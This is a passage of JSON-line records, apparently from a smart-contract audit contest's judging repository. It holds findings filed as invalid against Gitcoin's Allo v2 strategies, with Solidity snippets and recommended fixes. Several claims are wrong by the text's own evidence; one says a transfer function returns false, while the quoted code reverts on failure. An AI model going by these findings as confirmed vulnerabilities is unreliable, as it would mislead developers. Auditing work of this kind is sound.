functionillity","severity":"info","body":"Jumpy Pear Beaver\n\nhigh\n\n# since `poolAmount` in `_distribute#QVbaseStrategy` is not updated it can cause reverts and break in functionillity\n`poolAmount` is not updated in `_distribute` so if someone has a certain amount of earned funds they will not get it \n## Vulnerability Detail\nFirstly take this ex:\n`poolBalance=1000`\nAlice will get `(1000 * (5/10))=500` since he got 5 votes out of 10 \nSam will get `(1000*(7/10))=700` since he got 7 out of the 10 votes \nboth will be 1200 which is greater than the funds in the contract \n2 things.\n1. since PoolAmount is not updated and if the contract only has the `balance == poolAmount` it will cause reverts \n2. if poolAmount is updated before this call by a supporter one of the recipients will get more than the other even with fewer votes \nex: `200 * 0.5=100` and `1000 * 0.2=200` \n## Impact\nA.mostly PoolAmount will revert and not allow rightful votees to get their funds so the contract admins will have to `updateTimestamps` which can take time/opportunity cost to get votes voted than before.Plus it Dosnt stop the revert from happening since in future votes the same thing can happen with the ratios and poolAmount.\n\nB.If a supporter updates this call before this is a break in logic of how the contract works enabling an attack vector that some attacker can work with votee on the inside and get more funds\n## Code Snippet\n\n```solidity\n// @audit as we can see we are using an old PoolAmount that is not updated \n function _getPayout(address _recipientId, bytes memory)\n internal\n view\n virtual\n override\n returns (PayoutSummary memory)\n {\n Recipient memory recipient = recipients[_recipientId];\n\n // Calculate the payout amount based on the percentage of total votes\n uint256 amount;\n if (!paidOut[_recipientId] && totalRecipientVotes != 0) {\n amount = poolAmount * recipient.totalVotesReceived / totalRecipientVotes;\n }\n return PayoutSummary(recipient.recipientAddress, amount);\n }\n// _distribute\n// @audit it going to use the outdated amount causing reverts or more tokens to be given to the user \n PayoutSummary memory payout = _getPayout(recipientId, \"\");\n uint256 amount = payout.amount;\n\n if (paidOut[recipientId] || !_isAcceptedRecipient(recipientId) || amount == 0) {\n revert RECIPIENT_ERROR(recipientId);\n }\n\n IAllo.Pool memory pool = allo.getPool(poolId);\n _transferAmount(pool.token, recipient.recipientAddress, amount);\n\n paidOut[recipientId] = true;\n\n emit Distributed(recipientId, recipient.recipientAddress, amount, _sender);\n unchecked {\n ++i;\n }\n```\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/strategies/qv-base/QVBaseStrategy.sol#L448\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/strategies/qv-base/QVBaseStrategy.sol#L571\n## Tool used\n\nManual Review\n\n## Recommendation\nUpdate PoolAmount in `_distribute`\nto only allow the left over funds to be used for _distribute so their is no advantage for the impacts above\n```solidity\npoolAmount-=amount\n```","dataSource":{"name":"sherlock-audit/2023-09-Gitcoin-judging","repo":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging","url":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging/blob/main//invalid/807.md"}} +{"title":"User can transfer any number of Native tokens without actually transferring tokens","severity":"info","body":"Delightful Topaz Penguin\n\nhigh\n\n# User can transfer any number of Native tokens without actually transferring tokens\n\nUser can transfer any number of Native tokens without actually transferring tokens.\n## Vulnerability Detail\n\nProtocol uses [solmate SafeTransferLib](https://github.com/Vectorized/solady/blob/main/src/utils/SafeTransferLib.sol). Which in case of Native token Instead of reverting, returns whether the transfer succeeded or not [check here](https://github.com/Vectorized/solady/blob/main/src/utils/SafeTransferLib.sol#L61C10-L61C71) \ncurrent Implementation lacks the check when they transfer native tokens \n```solidity\nFile: contracts/core/libraries/Transfer.sol\n\n function _transferAmountFrom(address _token, TransferData memory _transferData) internal returns (bool) {\n uint256 amount = _transferData.amount;\n if (_token == NATIVE) {\n // Native Token\n if (msg.value < amount) revert AMOUNT_MISMATCH();\n\n SafeTransferLib.safeTransferETH(_transferData.to, amount);\n } else {\n SafeTransferLib.safeTransferFrom(_token, _transferData.from, _transferData.to, amount);\n }\n return true;\n }\n```\nthere are many instances where the same pattern has been followed and these library function has been used in overall protocol\n\nreferring solmate implementation functions\n```solidity\n // - Forwards with a mandatory gas stipend.\n // - Instead of reverting, returns whether the transfer succeeded.\n\n /// @dev Sends `amount` (in wei) ETH to `to`.\n function safeTransferETH(address to, uint256 amount) internal {\n /// @solidity memory-safe-assembly\n assembly {\n if iszero(call(gas(), to, amount, gas(), 0x00, gas(), 0x00)) {\n mstore(0x00, 0xb12d13eb) \n revert(0x1c, 0x04)\n }\n }\n }\n\n```\nhttps://github.com/Vectorized/solady/blob/main/src/utils/SafeTransferLib.sol#L61C10-L61C71\n## Impact\nWithout sending any tokens user can claim any number of tokens since it won't revert if for unsuccessful transfer \n## Code Snippet\nhttps://github.com/allo-protocol/allo-v2/blob/0b881ef4a0013d2809374c9ea69f4cf1288dfe62/contracts/core/libraries/Transfer.sol#L43C1-L43C1\nhttps://github.com/allo-protocol/allo-v2/blob/0b881ef4a0013d2809374c9ea69f4cf1288dfe62/contracts/core/libraries/Transfer.sol#L76\nhttps://github.com/allo-protocol/allo-v2/blob/0b881ef4a0013d2809374c9ea69f4cf1288dfe62/contracts/core/libraries/Transfer.sol#L89\n## Tool used\n\nManual Review\n\n## Recommendation\n\ncheck if `SafeTransferLib.safeTransferETH(to, amount)` return false and revert on such cases","dataSource":{"name":"sherlock-audit/2023-09-Gitcoin-judging","repo":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging","url":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging/blob/main//invalid/806.md"}} +{"title":"Missing Check for `milestoneStatus == Status.Pending` in the `_distribute` Function in `RFPSimpleStrategy.sol`","severity":"info","body":"Mini Garnet Squirrel\n\nmedium\n\n# Missing Check for `milestoneStatus == Status.Pending` in the `_distribute` Function in `RFPSimpleStrategy.sol`\nThe `_distribute` function in `RFPSimpleStrategy.sol` lacks a check for the `milestoneStatus` of milestones to ensure they are in the Pending state before distribution. This oversight allows for the distribution of milestones that might have been rejected or not set to pending state by the Recipient, potentially leading to incorrect fund distrubution.\n## Vulnerability Detail\nIn the `_distribute` function of `RFPSimpleStrategy.sol`, there is a missing check for the` milestoneStatus` of milestones to ensure they are in the `Pending state` before proceeding with the distribution. The current implementation allows for the distribution of milestones regardless of their status, which could lead to incorrect fund distribution if milestones are not in the expected state.\n## Impact\nThis can lead to unintended fund distribution for incorrect `milestoneStatus`and potentially disrupt the intended flow of the RFP pool strategy.\n## Code Snippet\n```solidity\nfunction _distribute(address[] memory, bytes memory, address _sender)\n internal\n virtual\n override\n onlyInactivePool\n onlyPoolManager(_sender)\n {\n // check to make sure there is a pending milestone\n if (upcomingMilestone >= milestones.length) revert INVALID_MILESTONE();\n\n IAllo.Pool memory pool = allo.getPool(poolId);\n Milestone storage milestone = milestones[upcomingMilestone];\n Recipient memory recipient = _recipients[acceptedRecipientId];\n\n // make sure has enough funds to distribute based on the proposal bid\n if (recipient.proposalBid > poolAmount) revert NOT_ENOUGH_FUNDS();\n\n // Calculate the amount to be distributed for the milestone\n uint256 amount = (recipient.proposalBid * milestone.amountPercentage) / 1e18;\n\n // Get the pool, subtract the amount and transfer to the recipient\n poolAmount -= amount;\n _transferAmount(pool.token, recipient.recipientAddress, amount);\n\n // Set the milestone status to 'Accepted'\n milestone.milestoneStatus = Status.Accepted;\n\n // Increment the upcoming milestone\n upcomingMilestone++;\n\n // Emit events for the milestone and the distribution\n emit MilestoneStatusChanged(upcomingMilestone, Status.Accepted);\n emit Distributed(acceptedRecipientId, recipient.recipientAddress, amount, _sender);\n }\n```\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/6430c8004017e96ae2f5aac365bdefd0b6eeea72/allo-v2/contracts/strategies/rfp-simple/RFPSimpleStrategy.sol#L417\n## Tool used\n\nManual Review\n\n## Recommendation\nImplement a check in the `_distribute` function to ensure that milestones are in the `Pending state` before proceeding with distribution. This will help prevent incorrect fund distribution and maintain the expected behavior of the RFP pool strategy.","dataSource":{"name":"sherlock-audit/2023-09-Gitcoin-judging","repo":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging","url":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging/blob/main//invalid/805.md"}} +{"title":"For all strategies, if the recipient address is a contract that can not handle the pool tokens, the pool tokens will be lost for ever","severity":"info","body":"Dandy Lavender Wombat\n\nhigh\n\n# For all strategies, if the recipient address is a contract that can not handle the pool tokens, the pool tokens will be lost for ever\n\nWhen registering a recipient, the recipient address can be a contract that cannot handle the pool tokens. If this is the case and pool tokens are sent to this contract, the pool tokens will be lost. \n\n\n## Vulnerability Detail\nWhen registering a recipient, it is not checked if the provided recipient address is a EOA or a contract. This means a contract that cannot handle the pool token can be registered as a recipient address. If this is the case and pool tokens are sent to this contract, the pool tokens will be lost since the contract has no way to interact with the pool tokens. For example, a project might add their central DAO contract as the receiver address but the contract might not be able to receive native tokens or handle any other tokens send to it. \n\n\n## Impact\n\nAll tokens sent to receiver addresses that are contracts and that can not handle the tokens will be lost for ever \n\n## Code Snippet\n\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/6430c8004017e96ae2f5aac365bdefd0b6eeea72/allo-v2/contracts/strategies/qv-base/QVBaseStrategy.sol#L369-L430\n\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/6430c8004017e96ae2f5aac365bdefd0b6eeea72/allo-v2/contracts/strategies/donation-voting-merkle-base/DonationVotingMerkleDistributionBaseStrategy.sol#L528-L601\n\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/6430c8004017e96ae2f5aac365bdefd0b6eeea72/allo-v2/contracts/strategies/_poc/donation-voting/DonationVotingStrategy.sol#L399-L457\n\n## Tool used\n\nManual Review\n\n## Recommendation\n\nOnly allow EOA to be set as recipient addresses by checking if the code size of the address is 0. Alternatively implement a callback to the recipient address if it is a contract, equal to the callback in the ERC721TokenReceiver interface, that confirms that the contract can handle any tokens send to it.","dataSource":{"name":"sherlock-audit/2023-09-Gitcoin-judging","repo":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging","url":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging/blob/main//invalid/804.md"}} +{"title":"Vulnerability after updating of pool timestamps in the `QVBaseStrategy` strategy that can result in `funds being stuck`","severity":"info","body":"Scruffy Taupe Orca\n\nmedium\n\n# Vulnerability after updating of pool timestamps in the `QVBaseStrategy` strategy that can result in `funds being stuck`\nVulnerability after updating of pool timestamps in the `QVBaseStrategy` strategy that can result in funds being stuck and not distributed as intended when the pool undergoes multiple cycles of registration, allocation, and distribution phases.\n\n## Vulnerability Detail\nWhen the [`QVBaseStrategy.sol#_distribute()`](https://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/strategies/qv-base/QVBaseStrategy.sol#L436-L465) function is executed, the payout for each recipient is calculated and the recipient's [status in `paidOut` mapping is updated to `true`](https://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/strategies/qv-base/QVBaseStrategy.sol#L458). This is to ensure that a recipient doesn't receive funds more than once for the same allocation round. However, if the pool timestamps are updated via `updatePoolTimestamps()`, restarting the allocation period, and allocators allocate votes to recipients, previously paid recipients cannot receive any allocation in the new distribution phase due to their `paidOut` status ([https://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/strategies/qv-base/QVBaseStrategy.sol#L451-L453](this check will revert)).\n\nThis behavior, combined with the fact that `poolAmount` remains unchanged after distribution, means that if the pool goes through multiple cycles of phases, funds meant for previous recipients (who have new votes allocated to them) will remain undistributed, leading to the potential for funds to get locked in the strategy.\n\n## Proof of Concept\n\n1. **Start**: Pool enters the registration and allocation phase. Allocators allocate votes to recipients.\n2. **Distribution Phase**: `_distribute()` function is executed. Recipients receive their respective shares of `poolAmount` based on their allocated votes. The `paidOut` status for these recipients is set to `true`.\n3. **Timestamp Update**: Pool manager invokes `updatePoolTimestamps()` to restart the allocation and distribution periods.\n4. **New Allocations**: Allocators allocate more votes to recipients (the recipients can be those who were paid in the previous distribution phase).\n5. **New Distribution Phase**: `_distribute()` function is executed again. However, recipients who were paid in the previous round are skipped due to their `paidOut` status, even if they had new votes allocated to them.\n6. **Result**: The newly allocated votes for these recipients do not result in any distribution. This means their share of the `poolAmount` based on the new allocations remains undistributed and is effectively locked in the strategy.\n\n## Impact\nRecipients who have been paid in a previous distribution round cannot participate in subsequent distributions even if they have new votes allocated to them.\n\nImpact is `High` because this can lead to a misallocation of funds and a situation where funds are locked within the strategy, unable to be distributed.\n\n## Code Snippet\n\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/strategies/qv-base/QVBaseStrategy.sol#L436-L465\n\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/strategies/qv-base/QVBaseStrategy.sol#L335-L360\n\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/strategies/qv-base/QVBaseStrategy.sol#L335-L360\n\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/strategies/qv-base/QVBaseStrategy.sol#L506-L534\n\n## Tool used\nManual Review\n\n## Recommendation\n1. Introduce variable that tracks how many amount was paid during distribution process. Let's say `distributedPoolAmount`.\n2. After each time the `updatePoolTimestamps()` function is called:\n - decrease the `poolAmount` with the `distributedPoolAmount`.\n - loop through `paidOut` and decrease `totalRecipientVotes` with `recipient.totalVotesReceived`, after that set to 0 `recipient.totalVotesReceived` parameter if the `paidOut[recipient] == true`\n - set `paidOut[recipient] = false`","dataSource":{"name":"sherlock-audit/2023-09-Gitcoin-judging","repo":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging","url":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging/blob/main//invalid/803.md"}} +{"title":"Anyone can claim on behalf of others in the `DonationVotingMerkleDistributionVaultStrategy::claim()`","severity":"info","body":"Energetic Berry Llama\n\nmedium\n\n# Anyone can claim on behalf of others in the `DonationVotingMerkleDistributionVaultStrategy::claim()`\n`DonationVotingMerkleDistributionVaultStrategy::claim()` is an external function and anyone can initiate the claim process. But the issue is that the `msg.sender` and the recipient is never checked. \n\n## Vulnerability Detail\n`DonationVotingMerkleDistributionVaultStrategy` uses a pull method instead of a push method, which means the funds are not directly transferred to the `recipientAddress`. It is only transferred when the user claims their funds.\n\n`claim()` function is an external function as expected, because people should be able to call this function and claim their tokens. However, the caller of the `claim()` function is never validated. Bob can claim on behalf of Alice.\n\n[https://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/strategies/donation-voting-merkle-distribution-vault/DonationVotingMerkleDistributionVaultStrategy.sol#L70C1-L98C6](https://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/strategies/donation-voting-merkle-distribution-vault/DonationVotingMerkleDistributionVaultStrategy.sol#L70C1-L98C6)\n\n```solidity\nfile: DonationVotingMerkleDistributionVaultStrategy.sol\n function claim(Claim[] calldata _claims) external nonReentrant onlyAfterAllocation {\n uint256 claimsLength = _claims.length;\n\n // Loop through the claims\n for (uint256 i; i < claimsLength;) {\n Claim memory singleClaim = _claims[i];\n Recipient memory recipient = _recipients[singleClaim.recipientId];\n uint256 amount = claims[singleClaim.recipientId][singleClaim.token];\n\n // If the claim amount is zero this will revert\n if (amount == 0) {\n revert INVALID();\n }\n\n /// Delete the claim from the mapping\n delete claims[singleClaim.recipientId][singleClaim.token];\n\n address token = singleClaim.token;\n\n // Transfer the tokens to the recipient\n _transferAmount(token, recipient.recipientAddress, amount);\n\n // Emit that the tokens have been claimed and sent to the recipient\n emit Claimed(singleClaim.recipientId, recipient.recipientAddress, amount, token);\n unchecked {\n i++;\n }\n }\n }\n```\n\nAs you can see above there is no check in terms of `msg.sender` in this function.\n\nThere are a few things to mention here. Funds are not transferred to the `msg.sender`, they are sent to the `recipientAddress` of the `Claim`. So this is not a direct stealing of the funds, they are still going to the expected address. But the issue here is timing.\n\nThere might be tons of different scenarios where the actual owner of the `recipientAddress` doesn't want to claim at the moment. Maybe they lost access to the address. Maybe that address got blacklisted or compromised. Maybe they just don't want to claim right now.\n\nI considered this issue as a medium vulnerability since the funds are not directly stolen, but can be transferred by anyone on behalf of someone else without the owner's consent/intention\n\n## Impact\nAnyone can initiate a claim process on behalf of someone else.\n\n## Code Snippet\n[https://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/strategies/donation-voting-merkle-distribution-vault/DonationVotingMerkleDistributionVaultStrategy.sol#L70C1-L98C6](https://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/strategies/donation-voting-merkle-distribution-vault/DonationVotingMerkleDistributionVaultStrategy.sol#L70C1-L98C6)\n\n```solidity\nfile: DonationVotingMerkleDistributionVaultStrategy.sol\n function claim(Claim[] calldata _claims) external nonReentrant onlyAfterAllocation {\n uint256 claimsLength = _claims.length;\n\n // Loop through the claims\n for (uint256 i; i < claimsLength;) {\n Claim memory singleClaim = _claims[i];\n Recipient memory recipient = _recipients[singleClaim.recipientId];\n uint256 amount = claims[singleClaim.recipientId][singleClaim.token];\n\n // If the claim amount is zero this will revert\n if (amount == 0) {\n revert INVALID();\n }\n\n /// Delete the claim from the mapping\n delete claims[singleClaim.recipientId][singleClaim.token];\n\n address token = singleClaim.token;\n\n // Transfer the tokens to the recipient\n _transferAmount(token, recipient.recipientAddress, amount);\n\n // Emit that the tokens have been claimed and sent to the recipient\n emit Claimed(singleClaim.recipientId, recipient.recipientAddress, amount, token);\n unchecked {\n i++;\n }\n }\n }\n```\n\n## Tool used\n\nManual Review\n\n## Recommendation\nI would recommend adding a check to validate if the caller is actually the recipient.","dataSource":{"name":"sherlock-audit/2023-09-Gitcoin-judging","repo":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging","url":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging/blob/main//invalid/802.md"}} +{"title":"There is no check if the milestone is rejected in _distribute in `RFPSimpleStrategy.sol`","severity":"info","body":"Shaggy Obsidian Rooster\n\nhigh\n\n# There is no check if the milestone is rejected in _distribute in `RFPSimpleStrategy.sol`\nThere is no check if the milestone is rejected in _distribute in `RFPSimpleStrategy.sol`\n## Vulnerability Detail\nIf the milestone is rejected the distribute function will still transfer the money for the milestone that is upcoming and will set it status to Accepted\n## Impact\nAll of the milestones will be accepted even if they are rejected by the manager of the pool. \n## Code Snippet\nhttps://github.com/allo-protocol/allo-v2/blob/851571c27df5c16f6586ece2a1cb6fd0acf04ec9/contracts/strategies/rfp-simple/RFPSimpleStrategy.sol#L417-L450\n\nhttps://github.com/allo-protocol/allo-v2/blob/851571c27df5c16f6586ece2a1cb6fd0acf04ec9/contracts/strategies/rfp-simple/RFPSimpleStrategy.sol#L283C1-L290C6\n## Tool used\n\nManual Review\n\n## Recommendation\nMake a check if the Milestone status is rejected in _distribute \ne.g =>\nIf(milestone.status == Status.Rejected){\n revert theMilestoneIsRejected();\n}","dataSource":{"name":"sherlock-audit/2023-09-Gitcoin-judging","repo":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging","url":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging/blob/main//invalid/800.md"}} +{"title":"Multiple Recipient can submit the same milestone and get paid","severity":"info","body":"Tricky Rose Hare\n\nmedium\n\n# Multiple Recipient can submit the same milestone and get paid\nThis can actually happen, mainly because of two main things, let's explore both \n\n1.\tThe poolMangers who are to accept to pay a receiver for their submitted milestone \n2.\tThe fact that a milestone is not specifically directed to an accepted Recipient. \n\n## Vulnerability Detail\n\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/strategies/rfp-simple/RFPSimpleStrategy.sol#L253C5-L271C6\n\nThis means that any accepted Recipient can go on and submit a milestone in which other recipients submitted and get the profit or rewards for it.\n\nThis can manifest in different ways, a accepted recipient may not necessarily have the permission to participate in the completion of this milestone, but sensing an opportunity to get the profit can submit the same milestone other recipients did and get a payday, the second way this can happen is if all recipients have to submit and if the milestone was for the participants to complete some proof of work to actually get paid, other recipient can just not do anything and get paid. \n\nThis may happen in part if the malicious recipients cleverly submit the milestones that represent the proof of work, over a period of time at some interval to send the same milestones others did.\n\n## Impact\n\nFunds meant for a set of acceptedRecipents can be collected by another recipient, while not actually doing anything to qualify them to receive those awards \n\n## Code Snippet\n```solidity\nfunction submitUpcomingMilestone(Metadata calldata _metadata) external {\n // Check if the 'msg.sender' is the 'acceptedRecipientId' and is a member of the 'Profile'\n if (acceptedRecipientId != msg.sender && !_isProfileMember(acceptedRecipientId, msg.sender)) {\n revert UNAUTHORIZED();\n }\n\n // Check if the upcoming milestone is in fact upcoming\n if (upcomingMilestone >= milestones.length) revert INVALID_MILESTONE();\n\n // Get the milestone and update the metadata and status\n Milestone storage milestone = milestones[upcomingMilestone];\n milestone.metadata = _metadata;\n\n // Set the milestone status to 'Pending' to indicate that the milestone is submitted\n milestone.milestoneStatus = Status.Pending;\n\n // Emit event for the milestone\n emit MilstoneSubmitted(upcomingMilestone);\n }\n```\nHere the metadata used to submit the milestone has no check if the same milestone has being used or submitted before, leaving that crucial check point to different pool managers, which defeats the purpose of an automated smart contract strategy, this can be capitalized upon by attackers masking as recipients.\n## Tool used\n\nFoundry, Hardhat\n\n## Recommendation\n\nA way I would address this is to maybe add a confirmation if the same particular milestone has not being submitted before, so has to neutralize attempts of submitting copy milestones from other recipients. \nA milestone not meant for every recipient, is actually not a good design system, if the strategy was meant to perform in this kind of way, i think the users of the strategy should actually be notified, this would mean that whenever someone wants to use this strategy it can only be used in a situation where every recipient has the same milestones to complete and a check used be used if the same milestone has being actually sent and accepted before.","dataSource":{"name":"sherlock-audit/2023-09-Gitcoin-judging","repo":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging","url":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging/blob/main//invalid/797.md"}} +{"title":"Unrestricted Initialize Function","severity":"info","body":"Fierce Pearl Falcon\n\nmedium\n\n# Unrestricted Initialize Function\n\nThe initialize function lacks proper access controls, allowing anyone to call it at any time. This exposes the contract to the risk of being reinitialized and set to an invalid state, affecting key variables and functionalities.\n\n## Vulnerability Detail\n\nThe initialize function is missing an initializer modifier or any other form of access control, making it callable by anyone at any point. As a result, key variables like `voteThreshold`, `useRegistryAnchor`, `metadataRequired`, and `poolActive` can be modified unexpectedly.\n\n function initialize(uint256 _poolId, bytes memory _data) external override {\n (InitializeParamsCommittee memory initializeParamsCommittee) = abi.decode(_data, (InitializeParamsCommittee));\n __RPFCommiteeStrategy_init(_poolId, initializeParamsCommittee);\n }\n\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/strategies/rfp-committee/RFPCommitteeStrategy.sol#L74\n\n function initialize(uint256 _poolId, bytes memory _data) external virtual override {\n (InitializeParams memory initializeParams) = abi.decode(_data, (InitializeParams));\n __RFPSimpleStrategy_init(_poolId, initializeParams);\n }\n\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/strategies/rfp-simple/RFPSimpleStrategy.sol#L151\n\nThis means that malicious actors can exploit the function to lower the `voteThreshold`, effectively making it easier to become eligible recipients. Similarly, the `useRegistryAnchor` could be set to false, allowing any address to register as a recipient.\n\n## Impact\n\nLacking proper access controls, the initialize function poses a significant security risk. Key variables can be manipulated, making features like the vote threshold, registry gating, and metadata requirements non-functional. Additionally, this vulnerability allows the `poolActive` status to be manipulated, potentially blocking critical functions such as `RFPSimpleStrategy.withdraw`.\n\n## Code Snippet\n\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/strategies/rfp-committee/RFPCommitteeStrategy.sol#L74\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/strategies/rfp-simple/RFPSimpleStrategy.sol#L151\n\n## Tool used\n\nManual Review\n\n## Recommendation\n\nAdd an `onlyAllo` modifier to the initialize function, thereby ensuring that only the Allo contract can invoke it.","dataSource":{"name":"sherlock-audit/2023-09-Gitcoin-judging","repo":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging","url":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging/blob/main//invalid/793.md"}} +{"title":"Absence of Withdraw Function in QVBaseStrategy","severity":"info","body":"Fierce Pearl Falcon\n\nmedium\n\n# Absence of Withdraw Function in QVBaseStrategy\n\nThe QVBaseStrategy lacks a withdraw function, preventing the pool admin from retrieving stuck funds from the pool, which poses a financial risk.\n\n## Vulnerability Detail\n\nTypically, strategies have a `withdraw` function that enables pool admins to rescue funds if they become stuck in the pool. For example:\n\n- In donation voting: \nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/strategies/donation-voting-merkle-base/DonationVotingMerkleDistributionBaseStrategy.sol#L390-L409\n\n- In RFP strategy:\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/strategies/rfp-simple/RFPSimpleStrategy.sol#L292-L301\n\nHowever, QVBaseStrategy notably lacks this crucial feature. Consequently, if an emergency occurs or if a user mistakenly contributes funds to the pool during the distribution phase, these funds will be irrevocably trapped.\n\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/core/Allo.sol#L339-L345\n\n## Impact\n\nThe absence of a withdraw function means that funds can become permanently stuck in the pool.\n\n## Code Snippet\n\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/strategies/donation-voting-merkle-base/DonationVotingMerkleDistributionBaseStrategy.sol#L390-L409\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/strategies/rfp-simple/RFPSimpleStrategy.sol#L292-L301\n\n## Tool used\n\nManual Review\n\n## Recommendation\n\nAdd a `withdraw` function to QVBaseStrategy to allow the pool admin to withdraw the pool amount in case there is funds stuck in the pool.","dataSource":{"name":"sherlock-audit/2023-09-Gitcoin-judging","repo":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging","url":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging/blob/main//invalid/791.md"}} +{"title":"Incorrect Implementation of Upgradability Pattern","severity":"info","body":"Fierce Pearl Falcon\n\nmedium\n\n# Incorrect Implementation of Upgradability Pattern\n\nBy inheriting from non-upgradeable OpenZeppelin contracts, the subsequent versions of the contract can become corrupt.\n\n## Vulnerability Detail\n\nThe Allo and Registry contracts employ an upgradability pattern but make the mistake of inheriting from non-upgradeable OpenZeppelin contracts.\n\n import \"openzeppelin-contracts/contracts/access/AccessControl.sol\";\n\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/core/Allo.sol#L8\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/core/Registry.sol#L5\n\nThe contracts should inherit from `AccessControlUpgradeable` rather than `AccessControl`.\n\nOpenZeppelin's non-upgradeable contracts are not designed to support future upgrades. Specifically, they lack the `__gap` variable that helps reserve storage slots for future versions to prevent storage layout conflicts during the inheritance chain.\n\n /**\n * @dev This empty reserved space is put in place to allow future versions to add new\n * variables without shifting down storage in the inheritance chain.\n * See https://docs.openzeppelin.com/contracts/4.x/upgradeable#storage_gaps\n */\n uint256[50] private __gap;\n\nhttps://github.com/OpenZeppelin/openzeppelin-contracts-upgradeable/blob/bc95521e34dcd49792065e264a7ad2b5a86f0091/contracts/access/AccessControlCrossChainUpgradeable.sol#L52-L57\n\n## Impact\n\nThe contract storage can be corrupted if a new variable is added to the parent contract in future iterations.\n\n## Code Snippet\n\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/core/Allo.sol#L8\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/core/Registry.sol#L5\n\n## Tool used\n\nManual Review\n\n## Recommendation\n\nThe contract should inherent from `AccessControlUpgradeable` instead of `AccessControl`.\n\n```diff\n- import \"openzeppelin-contracts/contracts/access/AccessControl.sol\";\n+ import \"openzeppelin-contracts-upgradeable/contracts/access/AccessControlUpgradeable.sol\";\n```","dataSource":{"name":"sherlock-audit/2023-09-Gitcoin-judging","repo":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging","url":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging/blob/main//invalid/787.md"}} +{"title":"Exploitable Matching Fund Allocation in Donation Voting","severity":"info","body":"Fierce Pearl Falcon\n\nhigh\n\n# Exploitable Matching Fund Allocation in Donation Voting\n\nRecipients within the Donation Voting pool can manipulate the system to unfairly garner a larger share of matching funds.\n\n## Vulnerability Detail\n\nIn Donation Voting strategies, recipients can accept donations from any address during the allocation period.\n\n function _allocate(bytes memory _data, address _sender) internal virtual override onlyActiveAllocation { \n\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/strategies/donation-voting-merkle-base/DonationVotingMerkleDistributionBaseStrategy.sol#L640\n\nHere's how the strategy operates:\n\n The amounts sent using allocate are not simply donations, they represent \"votes\" and the pool amount represents the matching amount. After the allocation happened, the votes are evaluated using an off chain calculation. And based on that calculation the pool amount gets distributed to the recipients.\n\nDonations can either be directly transferred to the recipients (DonationVotingMerkleDistributionDirectTransferStrategy) or claimed (DonationVotingMerkleDistributionVaultStrategy) without any associated fees.\n\nA rogue recipient could exploit this by creating multiple addresses and funneling large donations to themselves, thereby inflating their share of the matching pool without any risk.\n\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/strategies/donation-voting-merkle-distribution-direct-transfer/DonationVotingMerkleDistributionDirectTransferStrategy.sol#L45-L74\n \n## Impact\n\nThe loophole allows any recipient to game the system and secure a disproportionate share of the matching funds, disadvantaging other legitimate recipients.\n\n## Code 